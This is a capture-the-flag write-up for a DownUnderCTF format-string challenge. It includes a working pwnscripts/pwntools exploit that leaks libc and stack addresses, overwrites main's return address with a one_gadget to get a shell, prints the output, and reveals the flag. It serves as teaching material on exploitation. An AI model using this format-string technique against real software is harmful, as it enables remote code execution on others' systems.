Tags: fsb one_gadget pwnscripts leak 

Rating: 4.0

my first echo server [hard]

Author: k0wa1ski#6150 and Faith#2563

Hello there! I learnt C last week and already made my own SaaS product, check it out! I even made sure not to use compiler flags like --please-make-me-extremely-insecure, so everything should be swell.

nc chal.duc.tf 30001

Hint - The challenge server is running Ubuntu 18.04.

Attached files: echos (sha256: 2311c57a6436e56814e1fe82bdd728f90e5832fda8abc71375ef3ef8d9d239ca)

This challenge was quickly finished with pwnscripts. Try it!

Solving

int main() {
  char s[0x48]; // [rsp+10h] [rbp-50h]
  int64_t cookie = __readfsqword(0x28u); // [rsp+58h] [rbp-8h]
  for (int i = 0; i <= 2; i++) {
    fgets(s, 0x40, stdin);
    printf(s);
  }
  return 0;
}
$ checksec echos
[*] 'echos'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

This challenge is a simple exercise in format string exploitation. Given a binary with all security hardening measures enabled, the goal is to open a shell using nothing but user-controlled calls to printf().

It's really important that there's more than 1 printf() call; as far as I know, it's impossible<sup>1</sup> to exploit a hardened binary with only a single call to printf().

Anyway, with 2 printf() calls, the solution is visible to anyone familiar with FSBs<sup>2</sup>:

  1. Leak some addresses with %m$p in the first call. The two addresses we're leaking here are
    • __libc_start_main_ret, which is a libc leak (for FSBs) that's always available in a binary that calls main()
    • The stack address, which can usually be leaked from somewhere up in the call stack, mostly because the stack is never cleaned
  2. Abuse %m$n to replace the return address of main() with a jump to a one_gadget.

The implementation for both steps is also trivial:

  1. Find the printf() offsets to the addresses to be leaked using pwnscripts.fsb.find_offset.
  2. Send a payload of %m$p,%m$p (with the offsets found earlier) to leak out the relevant addresses. Calculate the libc base (context.libc.calc_base) and the location of the return pointer<sup>3</sup> here.
  3. Use pwntools' fmtstr_payload to generate the whole %n payload. Use write_size='short' here, because the default write_size generates a payload too large for ./echos' fgets(64) to accept.
from pwnscripts import *
context.binary = 'echos'
context.libc_database = 'libc-database'
context.libc = 'libc6_2.27-3ubuntu1_amd64'  # Assumed from prev chals
args = ('chal.duc.tf', 30001)

@context.quiet
def printf(l:str):
    r = remote(*args)
    r.send(l)
    return r.recvline()

# Finding printf offsets.
config.PRINTF_MIN = 7
buffer  = fsb.find_offset.buffer(printf, maxlen=63)
stack   = fsb.find_offset.stack(printf) # This requires config.PRINTF_MIN
ret_off = fsb.find_offset.libc(printf, context.libc.symbols['__libc_start_main_ret']%0x100)
DIST_TO_RET = (ret_off-buffer)*context.bytes

# Leak stack & libc
r = remote(*args)
r.sendline('%{}$p,%{}$p'.format(stack, ret_off))
stack_leak, libc_main_ret = extract_all_hex(r.recvline())
buffer_addr = stack_leak-0x130  # EMPIRICAL OFFSET
context.libc.calc_base('__libc_start_main_ret', libc_main_ret)

# Return to one_gadget; use 'short' to stay within input length
write = {buffer_addr+DIST_TO_RET: context.libc.select_gadget(1)}
r.sendline(payload:=fmtstr_payload(buffer, write, write_size='short'))
strlen = payload.find(b'\0')         # This part is here to shut up the whitespace spam of fmtstr_payload
r.recvuntil(payload[strlen-4:strlen])
r.interactive()

That's it.

[*] pwnscripts.fsb.find_offset for buffer: 8
[*] pwnscripts.fsb.find_offset for 'stack': 16
[*] pwnscripts.fsb.find_offset for 'libc': 19
[+] Opening connection to chal.duc.tf on port 30001: Done
[*] Switching to interactive mode
$ ls
echos
flag.txt
$ cat flag.txt

Flag

DUCTF{D@N6340U$_AF_F0RMAT_STTR1NG$}

Footnotes

  1. And do inform me if I'm wrong!
  2. Format String Bugs. And perhaps familiar is too weak a term: "done enough times to be second nature" may be more accurate.
  3. There's a small detail neglected here, because there isn't actually an automated method to find the stack's return pointer in pwnscripts (for now). In order to find where main()'s stack resided, I used gdb to find the approximate difference between the leaked stack address and main()'s stack, followed by a %s test to ensure that the calculated location of main()'s stack was valid:
    # ... insert first leak here ...
    # Test that leaked address calculation is valid:
    print_stack = '%{}$s'.format(buffer+1).ljust(8).encode() + pack(stack_leak-0x130+0x10) + cyclic(40).encode()
    r.sendline(print_stack)
    print(r.recvall())
    
    [+] Opening connection to chal.duc.tf on port 30001: Done
    b'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaa\n'
    
Original writeup (https://github.com/IRS-Cybersec/ctfdump/blob/master/DownUnderCTF%202020/Echos.md).